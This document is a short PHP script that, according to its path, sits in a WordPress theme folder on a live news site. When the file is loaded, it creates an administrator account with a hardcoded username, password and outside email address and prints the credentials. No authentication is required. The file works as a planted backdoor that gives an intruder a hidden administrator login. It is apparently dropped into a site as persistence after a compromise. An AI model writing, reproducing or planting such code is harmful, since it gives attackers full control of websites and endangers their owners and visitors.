File: /home/newsnnno/domains/newsnnnonline.com/public_html/wp-content/themes/inztlcc/addadmin.php
<?php
/**
* Script to create an administrator user.
* Place this file inside: /wp-content/plugins/xxx/addadmin.php
*/
// Load WordPress core (go up 3 levels from plugin folder to root)
require_once dirname(__DIR__, 3) . '/wp-load.php';
// New user data
$username = 'admin8899'; // change as needed
$email = 'admin8899@add2t.com'; // change as needed
// Fixed password (change to something strong)
$password = 'Admin889rrwws@@';
// Check if username or email already exists
if (username_exists($username) || email_exists($email)) {
echo "The user already exists. No changes were made.";
exit;
}
// Create the user
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
echo "Error creating the user: " . $user_id->get_error_message();
exit;
}
// Assign administrator role
$wp_user = new WP_User($user_id);
$wp_user->set_role('administrator');
// Success output
echo "Administrator user created successfully.\n";
echo "Username: $username\n";
echo "Email: $email\n";
echo "Generated password: $password\n";
?>